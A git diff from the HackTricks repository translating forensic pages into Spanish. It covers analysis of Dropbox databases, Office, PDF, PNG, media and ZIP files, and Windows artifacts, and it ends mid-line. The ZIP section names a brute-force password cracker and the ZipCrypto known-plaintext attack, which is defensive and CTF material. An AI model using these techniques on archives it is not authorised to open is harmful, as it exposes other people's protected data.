información útil: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +- **Server_path**: Ruta donde se encuentra el archivo dentro del servidor (esta ruta está precedida por el `host_id` del cliente). +- **local_sjid**: Versión del archivo +- **local_mtime**: Fecha de modificación +- **local_ctime**: Fecha de creación -- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -- **local_sjid**: Version of the file -- **local_mtime**: Modification date -- **local_ctime**: Creation date +Otras tablas dentro de esta base de datos contienen información más interesante: -Other tables inside this database contain more interesting information: - -- **block_cache**: hash of all the files and folders of Dropbox -- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -- **mount_table**: Share folders of dropbox -- **deleted_fields**: Dropbox deleted files +- **block_cache**: hash de todos los archivos y carpetas de Dropbox +- **block_ref**: Relaciona el ID de hash de la tabla `block_cache` con el ID de archivo en la tabla `file_journal` +- **mount_table**: Carpetas compartidas de Dropbox +- **deleted_fields**: Archivos eliminados de Dropbox - **date_added** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 2e07c739d..e84b51da0 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -1,36 +1,18 @@ -# Office file analysis +# Análisis de archivos de Office {{#include ../../../banners/hacktricks-training.md}} -
+Para más información, consulta [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Este es solo un resumen: -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Microsoft ha creado muchos formatos de documentos de Office, siendo los dos tipos principales **formatos OLE** (como RTF, DOC, XLS, PPT) y **formatos Office Open XML (OOXML)** (como DOCX, XLSX, PPTX). Estos formatos pueden incluir macros, lo que los convierte en objetivos para phishing y malware. Los archivos OOXML están estructurados como contenedores zip, lo que permite la inspección a través de la descompresión, revelando la jerarquía de archivos y carpetas y el contenido de archivos XML. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} +Para explorar las estructuras de archivos OOXML, se proporciona el comando para descomprimir un documento y la estructura de salida. Se han documentado técnicas para ocultar datos en estos archivos, lo que indica una innovación continua en la ocultación de datos dentro de los desafíos CTF. -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: - -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. - -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. - -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +Para el análisis, **oletools** y **OfficeDissector** ofrecen conjuntos de herramientas completos para examinar tanto documentos OLE como OOXML. Estas herramientas ayudan a identificar y analizar macros incrustadas, que a menudo sirven como vectores para la entrega de malware, normalmente descargando y ejecutando cargas útiles maliciosas adicionales. El análisis de macros VBA se puede realizar sin Microsoft Office utilizando Libre Office, que permite la depuración con puntos de interrupción y variables de observación. +La instalación y el uso de **oletools** son sencillos, con comandos proporcionados para instalar a través de pip y extraer macros de documentos. La ejecución automática de macros se activa mediante funciones como `AutoOpen`, `AutoExec` o `Document_Open`. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 769407b3a..209efa23c 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,28 +1,20 @@ -# PDF File analysis +# Análisis de archivos PDF {{#include ../../../banners/hacktricks-training.md}} -
+**Para más detalles, consulta:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +El formato PDF es conocido por su complejidad y su potencial para ocultar datos, lo que lo convierte en un punto focal para los desafíos de forense en CTF. Combina elementos de texto plano con objetos binarios, que pueden estar comprimidos o cifrados, y puede incluir scripts en lenguajes como JavaScript o Flash. Para entender la estructura de un PDF, se puede consultar el [material introductorio](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) de Didier Stevens, o utilizar herramientas como un editor de texto o un editor específico de PDF como Origami. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %} +Para una exploración o manipulación profunda de PDFs, están disponibles herramientas como [qpdf](https://github.com/qpdf/qpdf) y [Origami](https://github.com/mobmewireless/origami-pdf). Los datos ocultos dentro de los PDFs pueden estar ocultos en: -**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +- Capas invisibles +- Formato de metadatos XMP de Adobe +- Generaciones incrementales +- Texto del mismo color que el fondo +- Texto detrás de imágenes o imágenes superpuestas +- Comentarios no mostrados -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. - -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: - -- Invisible layers -- XMP metadata format by Adobe -- Incremental generations -- Text with the same color as the background -- Text behind images or overlapping images -- Non-displayed comments - -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +Para un análisis personalizado de PDF, se pueden utilizar bibliotecas de Python como [PeepDF](https://github.com/jesparza/peepdf) para crear scripts de análisis a medida. Además, el potencial del PDF para el almacenamiento de datos ocultos es tan vasto que recursos como la guía de la NSA sobre riesgos y contramedidas de PDF, aunque ya no se encuentra alojada en su ubicación original, aún ofrecen valiosos conocimientos. Una [copia de la guía](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) y una colección de [trucos del formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) de Ange Albertini pueden proporcionar más lecturas sobre el tema. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 6108df028..5cf16c8e2 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,9 +1,9 @@ {{#include ../../../banners/hacktricks-training.md}} -**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +**Los archivos PNG** son muy valorados en **los desafíos CTF** por su **compresión sin pérdida**, lo que los hace ideales para incrustar datos ocultos. Herramientas como **Wireshark** permiten el análisis de archivos PNG al descomponer sus datos dentro de paquetes de red, revelando información incrustada o anomalías. -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +Para verificar la integridad de los archivos PNG y reparar la corrupción, **pngcheck** es una herramienta crucial, que ofrece funcionalidad de línea de comandos para validar y diagnosticar archivos PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Cuando los archivos están más allá de reparaciones simples, servicios en línea como [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) proporcionan una solución basada en la web para **reparar PNGs corruptos**, ayudando en la recuperación de datos cruciales para los participantes de CTF. -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +Estas estrategias subrayan la importancia de un enfoque integral en los CTF, utilizando una combinación de herramientas analíticas y técnicas de reparación para descubrir y recuperar datos ocultos o perdidos. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index 3d2103987..a9ac0f486 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,16 +1,16 @@ {{#include ../../../banners/hacktricks-training.md}} -**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +**La manipulación de archivos de audio y video** es un elemento básico en **los desafíos forenses de CTF**, aprovechando **la esteganografía** y el análisis de metadatos para ocultar o revelar mensajes secretos. Herramientas como **[mediainfo](https://mediaarea.net/en/MediaInfo)** y **`exiftool`** son esenciales para inspeccionar los metadatos de los archivos e identificar tipos de contenido. -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. +Para los desafíos de audio, **[Audacity](http://www.audacityteam.org/)** se destaca como una herramienta principal para visualizar formas de onda y analizar espectrogramas, esenciales para descubrir texto codificado en audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** es muy recomendable para un análisis detallado de espectrogramas. **Audacity** permite la manipulación de audio, como ralentizar o invertir pistas para detectar mensajes ocultos. **[Sox](http://sox.sourceforge.net/)**, una utilidad de línea de comandos, sobresale en la conversión y edición de archivos de audio. -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. +La manipulación de **Bits Menos Significativos (LSB)** es una técnica común en la esteganografía de audio y video, explotando los fragmentos de tamaño fijo de los archivos multimedia para incrustar datos de manera discreta. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** es útil para decodificar mensajes ocultos como **tonos DTMF** o **código Morse**. -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. +Los desafíos de video a menudo implican formatos de contenedor que agrupan flujos de audio y video. **[FFmpeg](http://ffmpeg.org/)** es la herramienta preferida para analizar y manipular estos formatos, capaz de desmultiplexar y reproducir contenido. Para desarrolladores, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integra las capacidades de FFmpeg en Python para interacciones avanzadas y programables. -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. +Esta variedad de herramientas subraya la versatilidad requerida en los desafíos de CTF, donde los participantes deben emplear un amplio espectro de técnicas de análisis y manipulación para descubrir datos ocultos dentro de archivos de audio y video. -## References +## Referencias - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d4e17eb0d..187aea9f5 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -1,20 +1,20 @@ -# ZIPs tricks +# Trucos de ZIP {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities: +**Herramientas de línea de comandos** para gestionar **archivos zip** son esenciales para diagnosticar, reparar y descifrar archivos zip. Aquí hay algunas utilidades clave: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: Revela por qué un archivo zip puede no descomprimirse. +- **`zipdetails -v`**: Ofrece un análisis detallado de los campos del formato de archivo zip. +- **`zipinfo`**: Lista el contenido de un archivo zip sin extraerlo. +- **`zip -F input.zip --out output.zip`** y **`zip -FF input.zip --out output.zip`**: Intenta reparar archivos zip corruptos. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Una herramienta para el descifrado por fuerza bruta de contraseñas zip, efectiva para contraseñas de hasta aproximadamente 7 caracteres. -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +La [especificación del formato de archivo Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) proporciona detalles completos sobre la estructura y los estándares de los archivos zip. -It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +Es crucial notar que los archivos zip protegidos por contraseña **no encriptan los nombres de archivo ni los tamaños de archivo** dentro, un defecto de seguridad que no comparten los archivos RAR o 7z, que encriptan esta información. Además, los archivos zip encriptados con el método más antiguo ZipCrypto son vulnerables a un **ataque de texto plano** si hay una copia no encriptada de un archivo comprimido disponible. Este ataque aprovecha el contenido conocido para descifrar la contraseña del zip, una vulnerabilidad detallada en [el artículo de HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) y explicada más a fondo en [este artículo académico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Sin embargo, los archivos zip asegurados con encriptación **AES-256** son inmunes a este ataque de texto plano, lo que demuestra la importancia de elegir métodos de encriptación seguros para datos sensibles. -## References +## Referencias - [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index bf7543e9b..c7191fe2f 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -1,504 +1,494 @@ -# Windows Artifacts +# Artefactos de Windows -## Windows Artifacts +## Artefactos de Windows {{#include ../../../banners/hacktricks-training.md}} -## Generic Windows Artifacts +## Artefactos Genéricos de Windows -### Windows 10 Notifications +### Notificaciones de Windows 10 -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +En la ruta `\Users\\AppData\Local\Microsoft\Windows\Notifications` puedes encontrar la base de datos `appdb.dat` (antes del aniversario de Windows) o `wpndatabase.db` (después del aniversario de Windows). -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +Dentro de esta base de datos SQLite, puedes encontrar la tabla `Notification` con todas las notificaciones (en formato XML) que pueden contener datos interesantes. -### Timeline +### Línea de Tiempo -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +La línea de tiempo es una característica de Windows que proporciona **historial cronológico** de páginas web visitadas, documentos editados y aplicaciones ejecutadas. -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +La base de datos reside en la ruta `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Esta base de datos se puede abrir con una herramienta SQLite o con la herramienta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que genera 2 archivos que se pueden abrir con la herramienta** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). -### ADS (Alternate Data Streams) +### ADS (Flujos de Datos Alternativos) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +Los archivos descargados pueden contener el **ADS Zone.Identifier** que indica **cómo** fue **descargado** desde la intranet, internet, etc. Algunos programas (como navegadores) suelen poner incluso **más** **información** como la **URL** desde donde se descargó el archivo. -## **File Backups** +## **Copias de Seguridad de Archivos** -### Recycle Bin +### Papelera de Reciclaje -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +En Vista/Win7/Win8/Win10 la **Papelera de Reciclaje** se puede encontrar en la carpeta **`$Recycle.bin`** en la raíz de la unidad (`C:\$Recycle.bin`).\ +Cuando se elimina un archivo en esta carpeta se crean 2 archivos específicos: -- `$I{id}`: File information (date of when it was deleted} -- `$R{id}`: Content of the file +- `$I{id}`: Información del archivo (fecha de cuando fue eliminado) +- `$R{id}`: Contenido del archivo ![](<../../../images/image (1029).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +Teniendo estos archivos puedes usar la herramienta [**Rifiuti**](https://github.com/abelcheung/rifiuti2) para obtener la dirección original de los archivos eliminados y la fecha en que fueron eliminados (usa `rifiuti-vista.exe` para Vista – Win10). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../images/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### Copias de Sombra de Volumen -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +Shadow Copy es una tecnología incluida en Microsoft Windows que puede crear **copias de seguridad** o instantáneas de archivos o volúmenes de computadora, incluso cuando están en uso. -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +Estas copias de seguridad generalmente se encuentran en `\System Volume Information` desde la raíz del sistema de archivos y el nombre está compuesto por **UIDs** que se muestran en la siguiente imagen: ![](<../../../images/image (94).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +Montando la imagen forense con **ArsenalImageMounter**, se puede usar la herramienta [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) para inspeccionar una copia de sombra e incluso **extraer los archivos** de las copias de seguridad de la copia de sombra. ![](<../../../images/image (576).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +La entrada del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contiene los archivos y claves **para no hacer copia de seguridad**: ![](<../../../images/image (254).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +El registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` también contiene información de configuración sobre las `Copias de Sombra de Volumen`. -### Office AutoSaved Files +### Archivos de Office AutoGuardados -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Puedes encontrar los archivos de auto guardado de Office en: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## Elementos de Shell -A shell item is an item that contains information about how to access another file. +Un elemento de shell es un elemento que contiene información sobre cómo acceder a otro archivo. -### Recent Documents (LNK) +### Documentos Recientes (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windows **crea automáticamente** estos **accesos directos** cuando el usuario **abre, usa o crea un archivo** en: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` - Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +Cuando se crea una carpeta, también se crea un enlace a la carpeta, a la carpeta padre y a la carpeta abuela. -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +Estos archivos de enlace creados automáticamente **contienen información sobre el origen** como si es un **archivo** **o** una **carpeta**, **tiempos MAC** de ese archivo, **información de volumen** de dónde está almacenado el archivo y **carpeta del archivo objetivo**. Esta información puede ser útil para recuperar esos archivos en caso de que hayan sido eliminados. -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +Además, la **fecha de creación del enlace** es la primera **vez** que se **usó** el archivo original y la **fecha** **modificada** del archivo de enlace es la **última** **vez** que se usó el archivo de origen. -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +Para inspeccionar estos archivos puedes usar [**LinkParser**](http://4discovery.com/our-tools/). -In this tools you will find **2 sets** of timestamps: +En esta herramienta encontrarás **2 conjuntos** de marcas de tiempo: -- **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -- **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +- **Primer Conjunto:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +- **Segundo Conjunto:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate. -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +El primer conjunto de marcas de tiempo hace referencia a las **marcas de tiempo del archivo en sí**. El segundo conjunto hace referencia a las **marcas de tiempo del archivo vinculado**. +Puedes obtener la misma información ejecutando la herramienta de línea de comandos de Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` - -In this case, the information is going to be saved inside a CSV file. +En este caso, la información se va a guardar dentro de un archivo CSV. ### Jumplists -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +Estos son los archivos recientes que se indican por aplicación. Es la lista de **archivos recientes utilizados por una aplicación** a los que puedes acceder en cada aplicación. Pueden ser creados **automáticamente o ser personalizados**. -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +Los **jumplists** creados automáticamente se almacenan en `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Los jumplists se nombran siguiendo el formato `{id}.autmaticDestinations-ms` donde el ID inicial es el ID de la aplicación. -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +Los jumplists personalizados se almacenan en `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` y son creados por la aplicación generalmente porque algo **importante** ha sucedido con el archivo (quizás marcado como favorito). -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. +El **tiempo de creación** de cualquier jumplist indica **la primera vez que se accedió al archivo** y el **tiempo modificado la última vez**. -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +Puedes inspeccionar los jumplists usando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). ![](<../../../images/image (168).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_Nota que las marcas de tiempo proporcionadas por JumplistExplorer están relacionadas con el archivo jumplist en sí_) ### Shellbags -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**Sigue este enlace para aprender qué son los shellbags.**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Uso de USBs en Windows -It's possible to identify that a USB device was used thanks to the creation of: +Es posible identificar que se utilizó un dispositivo USB gracias a la creación de: -- Windows Recent Folder -- Microsoft Office Recent Folder +- Carpeta Reciente de Windows +- Carpeta Reciente de Microsoft Office - Jumplists -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +Ten en cuenta que algunos archivos LNK en lugar de apuntar a la ruta original, apuntan a la carpeta WPDNSE: ![](<../../../images/image (218).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +Los archivos en la carpeta WPDNSE son una copia de los originales, por lo que no sobrevivirán a un reinicio del PC y el GUID se toma de un shellbag. -### Registry Information +### Información del Registro -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[Consulta esta página para aprender](interesting-windows-registry-keys.md#usb-information) qué claves del registro contienen información interesante sobre dispositivos USB conectados. ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +Consulta el archivo `C:\Windows\inf\setupapi.dev.log` para obtener las marcas de tiempo sobre cuándo se produjo la conexión USB (busca `Section start`). -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 